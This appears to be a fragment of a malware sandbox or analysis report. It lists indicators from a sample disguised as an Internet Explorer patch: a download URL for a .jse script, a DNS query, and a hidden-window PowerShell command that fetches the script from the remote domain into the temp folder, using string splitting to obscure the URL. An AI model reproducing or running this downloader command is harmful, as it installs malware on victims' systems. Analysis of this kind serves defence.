Technical Information
- http+s://phohpgosh.org/86103747430248/1500964738484809/internet_explorerpatch.jse as $d
- DNS ASK ph###gosh.org
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden $d=$env:temp+[char][byte]92+'1615409566516.js';(New-Object System.Net.WebClient).DownloadFile('http'+'s://phohpgosh.org/86103747430248/1500964738484809/Internet_ExplorerPatc...' (with hidden window)